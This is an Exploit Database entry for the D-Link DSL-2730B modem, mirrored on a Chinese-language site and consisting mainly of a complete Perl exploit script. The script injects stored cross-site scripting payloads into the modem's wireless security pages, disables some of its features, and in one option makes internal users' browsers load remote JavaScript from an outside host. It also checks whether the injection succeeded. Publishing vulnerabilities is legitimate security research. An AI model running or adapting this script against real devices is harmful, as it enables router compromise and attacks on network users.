D-Link DSL-2730B Modem – Cross-Site Scripting Injection Stored Wlsecrefresh.wl & Wlsecurity.wl

• Exploit Database
• 69 阅读

• 作者： XLabs Security
  日期： 2015-01-11
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/35747/

• # Exploit Title: D-Link DSL-2730B Modem wlsecrefresh.wl & wlsecurity.wl Exploit XSS Injection Stored
  # Date: 11-01-2015
  # Exploit Author: Mauricio Correa
  # Vendor Homepage: www.dlink.com
  # Hardware version: C1
  # Version: GE 1.01
  # Tested on: Windows 8 and Linux
  
  #!/usr/bin/perl
  #
  # Date dd-mm-aaaa: 11-11-2014
  # Exploit for D-Link DSL-2730B
  # Cross Site Scripting (XSS Injection) Stored in wlsecrefresh.wl
  # Developed by Mauricio Corrêa
  # XLabs Information Security
  # WebSite: www.xlabs.com.br
  # More informations: www.xlabs.com.br/blog/?p=339
  #
  # CAUTION!
  # This exploit disables some features of the modem,
  # forcing the administrator of the device, accessing the page to reconfigure the modem again,
  # occurring script execution in the browser of internal network users.
  #
  # Use with caution!
  # Use at your own risk!
  #
  
  
  
  use strict;
  use warnings;
  use diagnostics;
  use LWP::UserAgent;
  use HTTP::Request;
  use URI::Escape;
  
  
  my $ip = $ARGV[0];
  my $user = $ARGV[1];
  my $pass = $ARGV[2];
  my $opt = $ARGV[3];
  $ip = $1 if($ip=~/(.*)\/$/);
  
   if (@ARGV != 4){
  
   print "\n";
   print "XLabs Information Security www.xlabs.com.br\n";
   print "Exploit for POC D-Link DSL-2730B Stored XSS Injection in wlsecrefresh.wl\n";
   print "Developed by Mauricio Correa\n";
   print "Contact: mauricio\@xlabs.com.br\n";
   print "Usage: perl $0 http:\/\/host_ip\/ user pass option\n";
   print "\n";
   print "Options: 1 - Parameter: wlAuthMode \n";
   print " 2 - Parameter: wl_wsc_reg \n ";
   print " 3 - Parameter: wl_wsc_mode \n";
   print " 4 - Parameter: wlWpaPsk (Execute on click to exibe Wireless password) \n";
   }else{
  
   print "XLabs Information Security www.xlabs.com.br\n";
   print "Exploit for POC D-Link DSL-2730B Stored XSS Injection in wlsecrefresh.wl\n";
   print "Developed by Mauricio Correa\n";
   print "Contact: mauricio\@xlabs.com.br\n";
   print "[+] Exploring $ip\/ ...\n";
  
   my $payload = "%27;alert(%27\/\/XLabsSec%27);\/\/";
   my $ua = new LWP::UserAgent;
   my $hdrs = new HTTP::Headers( Accept => 'text/plain', UserAgent => "XLabs Security Exploit Browser/1.0" );
   $hdrs->authorization_basic($user, $pass);
  
   chomp($ip);
  
   print "[+] Preparing...\n";
   my $url_and_payload = "";
  
   if($opt == 1){
   $url_and_payload = "$ip/wlsecrefresh.wl?wl_wsc_mode=disabled&wl_wsc_reg=disabled&wlAuth=0&wlAuthMode=1$payload".
   "&wlKeyBit=0&wlPreauth=0&wlSsidIdx=0&wlSyncNvram=1&wlWep=disabled&wlWpa=&wsc_config_state=0";
   }elsif($opt == 2){
   $url_and_payload = "$ip/wlsecrefresh.wl?wl_wsc_mode=disabled&wl_wsc_reg=disabled$payload&wlAuth=0&wlAuthMode=997354".
   "&wlKeyBit=0&wlPreauth=0&wlSsidIdx=0&wlSyncNvram=1&wlWep=disabled&wlWpa=&wsc_config_state=0";
  
   }elsif($opt == 3){
  
   $payload = "%27;alert(%27\/\/XLabsSec%27);\/\/";
   $url_and_payload = "$ip/wlsecrefresh.wl?wl_wsc_mode=disabled$payload&wl_wsc_reg=disabled&wlAuth=0&wlAuthMode=997354".
   "&wlKeyBit=0&wlPreauth=0&wlSsidIdx=0&wlSyncNvram=1&wlWep=disabled&wlWpa=&wsc_config_state=0";
  
   }elsif($opt == 4){
  
   $payload = "GameOver%3Cscript%20src%3D%22http%3A%2f%2fxlabs.com.br%2fxssi.js%22%3E%3C%2fscript%3E";
   $url_and_payload = "$ip/wlsecurity.wl?wl_wsc_mode=enabled&wl_wsc_reg=disabled&wsc_config_state=0&wlAuthMode=psk%20psk2&wlAuth=0&".
  "wlWpaPsk=$payload&wlWpaGtkRekey=0&wlNetReauth=36000&wlWep=disabled&wlWpa=aes&wlKeyBit=0&wlPreauth=0&".
  "wlSsidIdx=0&wlSyncNvram=1";
  
   }else{
  
   print "[-] Chose one option!\n";
   exit;
   }
  
   my $req = new HTTP::Request("GET",$url_and_payload,$hdrs);
  
   print "[+] Prepared!\n";
   print "[+] Requesting...\n";
   my $resp = $ua->request($req);
   if ($resp->is_success){
  
   print "[+] Successfully Requested!\n";
  
   my $resposta = $resp->as_string;
  
   print "[+] Checking for properly explored...\n";
   my $url = "$ip/wlsecurity.html";
   $req = new HTTP::Request("GET",$url,$hdrs);
  
   print "[+] Checking that was explored...\n";
  
   my $resp2 = $ua->request($req);
  
   if ($resp2->is_success){
  my $result = $resp2->as_string;
  if($opt == 4){
  $payload = "%27GameOver%3Cscript%20src%3D%5C%22http%3A%2f%2fxlabs.com.br%2fxssi.js%5C%22%3E%3C%2fscript%3E%27";
  }
  
  if(index($result, uri_unescape($payload)) != -1){
  print "[+] Successfully Exploited!";
  }else{
  print "[-] Not Exploited!";
  }
   }
   }else {
  
   print "[-] Ops!\n";
   print $resp->message;
   }
  }
  

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